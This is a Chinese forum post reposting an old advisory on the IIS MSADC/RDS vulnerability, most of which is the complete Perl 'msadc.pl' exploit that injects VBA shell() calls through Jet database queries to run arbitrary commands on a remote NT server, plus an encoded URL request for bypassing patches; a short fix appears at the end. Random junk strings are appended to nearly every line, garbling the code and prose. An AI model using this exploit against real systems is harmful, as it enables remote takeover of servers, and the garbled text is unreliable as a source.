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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ?g5iok {  
d/l,C4p  
涉及程序: `2>XH:+7F  
Microsoft NT server  `>%-  
7;^((.]ln  
描述: {?w"hjy  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 MKomq  
BqQ] x'AF  
详细: )\8URc|J  
如果你没有时间读详细内容的话,就删除: V{43HA10b  
c:\Program Files\Common Files\System\Msadc\msadcs.dll xC<R:"Mn  
有关的安全问题就没有了。 I|H,)!Z  
5i|s>pD4z1  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ):/,w!1  
 ~q*i;*  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 PoJmW^:}  
关于利用ODBC远程漏洞的描述,请参看: `tX@8|  
Nfr:`$k  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm P=c?QYF  
Q6u{@$(/N  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 a[q84[OQ  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp X2i*iW<  
YdK _.t0Mu  
这里不再论述。 T0;u+$  
p Z"o@';!  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: nlaG<L#  
|Mt&p#y  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset \xF;{}v  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! {z=j_;<]  
Ah*wQow  
w %;hl#s  
#将下面这段保存为txt文件,然后: "perl -x 文件名" yDzdE;  
S)+CTVVE  
#!perl tL1P<1j_  
# vuXS/ d  
# MSADC/RDS 'usage' (aka exploit) script HF]EU!OT  
# j]>=1Rd0b(  
# by rain.forest.puppy >o#ERNf  
# h(_P9E[g  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ~xw5\Y^  
# beta test and find errors! ,`y yR:F  
4b]_ #7Qm  
use Socket; use Getopt::Std; Yhe+u\vGs\  
getopts("e:vd:h:XR", \%args); "2%>M  
sA3UeTf  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; k'g$2  
p<q].^M  
if (!defined $args{h} && !defined $args{R}) { AfN&n= d K  
print qq~ ,6DD=w0r  
Usage: msadc.pl -h <host> { -d <delay> -X -v } u %'y_C3  
-h <host> = host you want to scan (ip or domain)  QGXQ{  
-d <seconds> = delay between calls, default 1 second B "*`R!y  
-X = dump Index Server path table, if available `v~!H\q  
-v = verbose k5wi'  
-e = external dictionary file for step 5 Ey'J]KVW  
Vd21,~^>g  
Or a -R will resume a command session un6cD$cHr  
`%oIRuYG]j  
~; exit;} =rEA:Q`~w  
@^'$r&M  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; wDMjk2 YN  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 2yvVeo&3  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} #\LZ;&T'N  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Nl { 7  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} V'j@K!)~xR  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 9_GokU P_  
o*-9J2V=J  
if (!defined $args{R}){ $ret = &has_msadc; -3` "E%9  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} N};t<Xev  
qJ 95  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 7lwTZ*rnY  
. "cmd /c "; M'DWu|dIBA  
$in=<STDIN>; chomp $in; sXiv,  
$command="cmd /c " . $in ; * MEe,4  
e{0L%%2K  
if (defined $args{R}) {&load; exit;} x~EKGoz3  
Rjq a_hxrS  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ./7v",#*.'  
&try_btcustmr; J,(7.+`~#  
MQJ%He"  
print "\nStep 2: Trying to make our own DSN..."; 3"Yif  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; v77fQ0w3  
8aZ$5^z  
print "\nStep 3: Trying known DSNs..."; Pxqiv9D<R  
&known_dsn; =-Nsc1&  
;\x~'@  
print "\nStep 4: Trying known .mdbs..."; wdwp9r  
&known_mdb; L7}i q0  
LQqfi ~  
if (defined $args{e}){ =T4u":#N;  
print "\nStep 5: Trying dictionary of DSN names..."; tFiR!f)  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 3{e'YD~hP  
g8l5.Mpx  
print "Sorry Charley...maybe next time?\n"; > ws!5q  
exit; @cIgxp  
LWD#a~  
############################################################################## nv)))I\  
w.uK?A>W,  
sub sendraw { # ripped and modded from whisker oNIFx5*Z  
sleep($delay); # it's a DoS on the server! At least on mine... s/t11;  
my ($pstr)=@_; 4-V)_U#8  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || O,|\"b1(  
die("Socket problems\n"); 3cixQzb}u  
if(connect(S,pack "SnA4x8",2,80,$target)){ (sCAR=5v\  
select(S); $|=1; 3;l"=#5  
print $pstr; my @in=<S>; Yb 6q))Y  
select(STDOUT); close(S); /zT`Y=1  
return @in; ,Kw5Ro`I:  
} else { die("Can't connect...\n"); }} Sy  
_*E!gPO  
############################################################################## #ib^Kg  
c+2sT3).D  
sub make_header { # make the HTTP request a+Ab]m8`  
my $msadc=<<EOT 63M=,0-Qt  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 9B=1 Yr[  
User-Agent: ACTIVEDATA ertBuU  
Host: $ip 5un^yRMB-  
Content-Length: $clen g<a<*)&  
Connection: Keep-Alive _mk5^u/u  
1TZPef^y  
ADCClientVersion:01.06 +s~.A_7)  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 H^ BYd%-  
f4"4ZVcr  
--!ADM!ROX!YOUR!WORLD! pj; I)-d/  
Content-Type: application/x-varg 6t7fa<  
Content-Length: $reqlen vq>l>as9O  
b\giJ1NJB  
EOT R=M!e<'  
; $msadc=~s/\n/\r\n/g; / M@ PO"  
return $msadc;} "!KpXBc,>  
56{I`QjX  
############################################################################## 3m=2x5 {L  
~O03Sit-  
sub make_req { # make the RDS request v{y{sA  
my ($switch, $p1, $p2)=@_; J(s;$PG  
my $req=""; my $t1, $t2, $query, $dsn; {G*OR,HN  
h1f8ktF  
if ($switch==1){ # this is the btcustmr.mdb query QDE$E.a  
$query="Select * from Customers where City=" . make_shell(); !d8A  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . B+"g2Y  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 9M'DC^x*T  
c AEokP  
elsif ($switch==2){ # this is general make table query )yj:PY]  
$query="create table AZZ (B int, C varchar(10))"; qyyq&  
$dsn="$p1";} Q9slfQ  
 g_q<ze  
elsif ($switch==3){ # this is general exploit table query cp%ii'  
$query="select * from AZZ where C=" . make_shell(); ;GOz>pg  
$dsn="$p1";} NY!jwb@%  
fu]N""~  
elsif ($switch==4){ # attempt to hork file info from index server hO( RZ '{  
$query="select path from scope()"; H~o <AmE0!  
$dsn="Provider=MSIDXS;";} |" 7 Y52d  
.'d2J>~N  
elsif ($switch==5){ # bad query 3n48%5  
$query="select"; }ZzLs/v%X  
$dsn="$p1";} u|fXP)>.  
u #~ ;&D*q  
$t1= make_unicode($query); 5<+KR.W  
$t2= make_unicode($dsn); K5k?H  
$req = "\x02\x00\x03\x00"; h{_*oBa  
$req.= "\x08\x00" . pack ("S1", length($t1)); 0m)&Y FZ[(  
$req.= "\x00\x00" . $t1 ; 4l @)K9F  
$req.= "\x08\x00" . pack ("S1", length($t2)); AIZBo@xg  
$req.= "\x00\x00" . $t2 ;  'Cc(3  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; d8OL!Rk  
return $req;} LM"y\q ]  
DDeE(E  
############################################################################## 50n}my'2h  
z-,VnhLx  
sub make_shell { # this makes the shell() statement q SD9Pue  
return "'|shell(\"$command\")|'";} T3pdx~66  
|B^G:7c  
############################################################################## Vmi{X b]<  
~uj;qq  
sub make_unicode { # quick little function to convert to unicode ln<]-)&C  
my ($in)=@_; my $out; 6rX_-Mm6w  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } s>%Pd7:  
return $out;} T ):SGW  
Uyx&E?SlEq  
############################################################################## zp4W'8  
*b)Q5dw@1  
sub rdo_success { # checks for RDO return success (this is kludge) x0Z5zV9  
my (@in) = @_; my $base=content_start(@in); *#&*`iJ(  
if($in[$base]=~/multipart\/mixed/){ YZE.@Rz  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ~?U*6P)o  
return 0;} %*W<vu>H  
50~K,Jx6B  
############################################################################## yL1CZ_  
tju|UhP3  
sub make_dsn { # this makes a DSN for us &`!^Zq vG  
my @drives=("c","d","e","f"); aGoE,5  
print "\nMaking DSN: "; 7r 0,> 3"  
foreach $drive (@drives) { ;3m!:l  
print "$drive: "; i8PuC^]  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . N1x@-/xa|  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" tIuoD+AW  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); %y<]Yzv.  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; jirbUl  
return 0 if $2 eq "404"; # not found/doesn't exist glUo7^ay7  
if($2 eq "200") { nH[+n `{o  
foreach $line (@results) {  ux-CpI  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ~<9{#uM  
} return 0;} B'weok  
Of[;Qn  
############################################################################## tE"Si<[]H$  
.$rC0<G[K  
sub verify_exists { ra6o>lI(,  
my ($page)=@_; Vpp&|n9^  
my @results=sendraw("GET $page HTTP/1.0\n\n"); K_/B?h  
return $results[0];} SO?8%s(   
m{%t?w$Au  
############################################################################## ;4#D,zlO^  
LE=k  
sub try_btcustmr { [QczlwmO  
my @drives=("c","d","e","f"); *"{& FEV  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 0 P|&Pq&IH  
acW'$@y9?N  
foreach $dir (@dirs) { G^Tk 20*  
print "$dir -> "; # fun status so you can see progress W/+K9S25  
foreach $drive (@drives) { =o=1"o[  
print "$drive: "; # ditto oC |WBS  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; !Pj/7JC0  
$reqlenlen=length( "$reqlen" ); }1H=wg>\  
$clen= 206 + $reqlenlen + $reqlen; xUWr}j4;  
&KC!*}<tx  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); XcfKx@l  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} z2yJ#  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} M>H=z#C>/A  
my.`k'  
############################################################################## W WG /k17  
'mMjjG9  
sub odbc_error { }_OM$nzj  
my (@in)=@_; my $base; fI|[Z+"  
my $base = content_start(@in); f4('gl9  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ^U  q  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; oFC)  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Q<"[C 1Lj  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ANMg  
return $in[$base+4].$in[$base+5].$in[$base+6];} ~H /2R  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; |M~ON=  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . saZ>?Owz  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} >_ \<E!j  
>'=MH2;  
############################################################################## ?.bnIwQe  
<,1 fkq>,  
sub verbose { ;</Lf=+Vm  
my ($in)=@_; eC`pnE  
return if !$verbose; kCP$I732  
print STDOUT "\n$in\n";} m <k!^jp  
H{G{H=K_  
############################################################################## ]B4}eBt5)@  
%i0\1hhV<  
sub save { #=,(JmQPt  
my ($p1, $p2, $p3, $p4)=@_; #`SD$;  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; edC 4BHE  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; kODK@w V-  
close OUT;} n \G Ry'  
w YNloU  
############################################################################## 5,KWprb  
z(HaRB3l  
sub load { ~,gXaw  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 1yqoA *  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); C2F0tr|  
@p=<IN>; close(IN); ~oD8Rnf  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 2y GOzc  
$target= inet_aton($ip) || die("inet_aton problems"); E l&h;N   
print "Resuming to $ip ..."; 3{Q,h pZN  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; uOi&G:=  
if($p[1]==1) { O>0VTW  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; `)>7)={  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; P9Q2gVGAO{  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); )ZR+lX }  
if (rdo_success(@results)){print "Success!\n";} r0dDHj~F  
else { print "failed\n"; verbose(odbc_error(@results));}} 6L4$vJ  
elsif ($p[1]==3){ M:SO2Czz  
if(run_query("$p[3]")){ c+' =hR[  
print "Success!\n";} else { print "failed\n"; }} &*,:1=p  
elsif ($p[1]==4){ @ GDX7TPV  
if(run_query($drvst . "$p[3]")){ QB{rVI>mI!  
print "Success!\n"; } else { print "failed\n"; }} }xb=<  
exit;} OEgI_= B  
le>Wm&E  
############################################################################## h 8 @  
@9G- m(?*  
sub create_table { kJK,6mN  
my ($in)=@_; 2 YxTMT  
$reqlen=length( make_req(2,$in,"") ) - 28; y&J@?Hc>  
$reqlenlen=length( "$reqlen" ); $ 0Yh!L?\  
$clen= 206 + $reqlenlen + $reqlen; 34 AP(3w  
my @results=sendraw(make_header() . make_req(2,$in,"")); :os z  
return 1 if rdo_success(@results); !dcwq;Ea  
my $temp= odbc_error(@results); verbose($temp); p9ZXbAJ{  
return 1 if $temp=~/Table 'AZZ' already exists/; 7S^""*Q^  
return 0;} c'fSu;1  
dj9 ?t  
############################################################################## :Ao!ls' =  
.m4;^S2cO  
sub known_dsn { [w \?j,  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 3K0tC=  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", `iShJz96  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", JC;^--0(z  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); u' Qd,  
Xh+ia#K  
foreach $dSn (@dsns) { hZ\+FOx;  
print "."; YoODR  
next if (!is_access("DSN=$dSn")); QL7>;t;  
if(create_table("DSN=$dSn")){ Hgc=M  
print "$dSn successful\n"; W  0[N0c  
if(run_query("DSN=$dSn")){ Uu p(6`7  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { keAcKhj  
print "Something's borked. Use verbose next time\n";}}} print "\n";} }E^S]hdvz  
X=X\F@V:u  
############################################################################## B0UJq./`  
ZXb0Y2AVx  
sub is_access { 7 6fIC  
my ($in)=@_; L#h:*U{@40  
$reqlen=length( make_req(5,$in,"") ) - 28; JcO08n  
$reqlenlen=length( "$reqlen" ); B/uniR^x  
$clen= 206 + $reqlenlen + $reqlen; w Fn[9_`*  
my @results=sendraw(make_header() . make_req(5,$in,"")); ~4,I7c7  
my $temp= odbc_error(@results); ><?BqRm+  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); `m~syKz4A  
return 0;} V`hu,Y;%  
e_3CSx8Cc  
############################################################################## D$e B ,~  
jdqj=Yc  
sub run_query { ctmQWrk|B  
my ($in)=@_; 7Hw<ojkt  
$reqlen=length( make_req(3,$in,"") ) - 28; }odV_WT  
$reqlenlen=length( "$reqlen" ); t` ^ Vb-  
$clen= 206 + $reqlenlen + $reqlen; ,Fqz e/  
my @results=sendraw(make_header() . make_req(3,$in,"")); *gsAn<  
return 1 if rdo_success(@results); {y^3> 7  
my $temp= odbc_error(@results); verbose($temp); =d;Vk  
return 0;} 2YwVU.*>  
y>VcgLIB  
############################################################################## do/)~9[4\  
"E!mva*NU  
sub known_mdb { I=DLPgzO9  
my @drives=("c","d","e","f","g"); |PVt}*0"  
my @dirs=("winnt","winnt35","winnt351","win","windows"); M@UVpQwgv  
my $dir, $drive, $mdb;  :S %lv  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; -f(/B9}  
9L eNe}9v  
# this is sparse, because I don't know of many #TJk-1XM*q  
my @sysmdbs=( "\\catroot\\icatalog.mdb", \&xl{64  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", J QKdW  
"\\system32\\certmdb.mdb", g9h(sLSF  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 25{ uz  
XFZ~ #DT&  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", }2>"<)  
"\\cfusion\\cfapps\\forums\\forums_.mdb", yYJY;".H  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Al"3 kRJJ  
"\\cfusion\\cfapps\\security\\realm_.mdb", P.WYTst=  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", LwJ0  
"\\cfusion\\database\\cfexamples.mdb", ENh8kD l5  
"\\cfusion\\database\\cfsnippets.mdb", i^Ut015q%  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", eH>#6R1-  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", "AueLl)  
"\\cfusion\\brighttiger\\database\\cleam.mdb", %uESrc-;  
"\\cfusion\\database\\smpolicy.mdb", *e.*=$  
"\\cfusion\\database\cypress.mdb", A]`:VC=IU  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", iAO5"(>}?  
"\\website\\cgi-win\\dbsample.mdb", {kB `>VS  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", G&{HTYP  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" |  FM }  
); #these are just %B2XznZ:  
foreach $drive (@drives) { P!g-X%ngo  
foreach $dir (@dirs){ X~T/qFS   
foreach $mdb (@sysmdbs) { aC=['a>)  
print "."; ~Vh=5J~  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ my\&hCE  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Iq5pAHm>M6  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ b}z`BRCc  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 6Y*;{\Rd  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 70W"G X&  
t={0(  
foreach $drive (@drives) { q%3<Juq~$  
foreach $mdb (@mdbs) { O mMX$YID  
print "."; c-]fKj7  
if(create_table($drv . $drive . $dir . $mdb)){ lPq\=V  
print "\n" . $drive . $dir . $mdb . " successful\n"; oY9FK{  
if(run_query($drv . $drive . $dir . $mdb)){ [IX+M#mf  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; `H%G3M0a  
} else { print "Something's borked. Use verbose next time\n"; }}}} EYzg%\HH  
} t=wXTK5"  
D> ef  
############################################################################## 1TJ0D_,  
s&PM,BFf  
sub hork_idx { |w&~g9   
print "\nAttempting to dump Index Server tables...\n"; uGtV}-t:  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; <-C!;Ce{  
$reqlen=length( make_req(4,"","") ) - 28; BNm4k7 ]M  
$reqlenlen=length( "$reqlen" ); 7ET jn)%bs  
$clen= 206 + $reqlenlen + $reqlen; GuQRn  
my @results=sendraw2(make_header() . make_req(4,"","")); %uDG75KP{  
if (rdo_success(@results)){ Gm8E<iTP  
my $max=@results; my $c; my %d; pK_?}~  
for($c=19; $c<$max; $c++){ 9(1rh9`=  
$results[$c]=~s/\x00//g; #*$p-I=  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;  !rL<5L  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; kEN#u  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; %CH6lY=lI  
$d{"$1$2"}="";} ]?l{j  
foreach $c (keys %d){ print "$c\n"; } O12Q8Oj!0  
} else {print "Index server doesn't seem to be installed.\n"; }} @"87F{!  
*YV S|6bs  
############################################################################## 4cgIEw[6  
0irr7Y  
sub dsn_dict { ROAI9sW0  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); v|t{1[C  
while(<IN>){ ?m%h`<wgMc  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; %e%7oqR?  
next if (!is_access("DSN=$dSn")); _^!vCa7f  
if(create_table("DSN=$dSn")){ Opg#*w%-  
print "$dSn successful\n"; htJuGfDx1  
if(run_query("DSN=$dSn")){ 4jwu'7 Q  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { = 7/-i  
print "Something's borked. Use verbose next time\n";}}} = 1|"-  
print "\n"; close(IN);} [Eq<":)  
d "<F!?8  
############################################################################## RVM&4#E  
PXYE;*d(  
sub sendraw2 { # ripped and modded from whisker {[OwMk  
sleep($delay); # it's a DoS on the server! At least on mine... 1 =GI&f2I  
my ($pstr)=@_; )c<6Sfp^B  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || E%pz9gcSx  
die("Socket problems\n"); H oy7RC&  
if(connect(S,pack "SnA4x8",2,80,$target)){ RIy\u >  
print "Connected. Getting data"; 8n)WW$  
open(OUT,">raw.out"); my @in; ]r"Yqv3  
select(S); $|=1; print $pstr; Zr/r2  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} gQVBA %  
close(OUT); select(STDOUT); close(S); return @in; C7"HQQ  
} else { die("Can't connect...\n"); }} ?-~I<f ]_  
DguB  
############################################################################## !q /5yEJ>h  
 M[P^]J@  
sub content_start { # this will take in the server headers T 1Cs>#)  
my (@in)=@_; my $c; M}FWBs'*|  
for ($c=1;$c<500;$c++) { 05e>\}{0  
if($in[$c] =~/^\x0d\x0a/){ Wr%7~y*K  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } I 48VNX  
else { return $c+1; }}} :F(9"L  
return -1;} # it should never get here actually LJuW${Y  
8C&x MA^  
############################################################################## 9C}qVoNu  
&d^=s iL  
sub funky { +<(a}6dt  
my (@in)=@_; my $error=odbc_error(@in); AlX3Wv }  
if($error=~/ADO could not find the specified provider/){ F? ]N8W  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; g:~+P e  
exit;} Go8F5a@j  
if($error=~/A Handler is required/){ BQrL7y  
print "\nServer has custom handler filters (they most likely are patched)\n"; o}D![/  
exit;} 9YKDguG  
if($error=~/specified Handler has denied Access/){ kK[duW =6  
print "\nServer has custom handler filters (they most likely are patched)\n"; S!dHNA:iU  
exit;}} c~Kc7}I  
7 `Du5>b8  
############################################################################## _/x& <,3  
9M2f!kJP$  
sub has_msadc { v*TeTA %  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); G}Z4g  
my $base=content_start(@results); h_ ZX/k  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ;h=S7M9.  
return 0;} (_8#YyW#  
FmT `Oa>  
######################## 0X"\ a'M_  
uw_?O[ZA[  
%KV2< t?  
解决方案: #x)}29%e#  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll )x\z@g  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 H@W0gK(cS;  
6VR[)T%  
拿出来充数 哈哈
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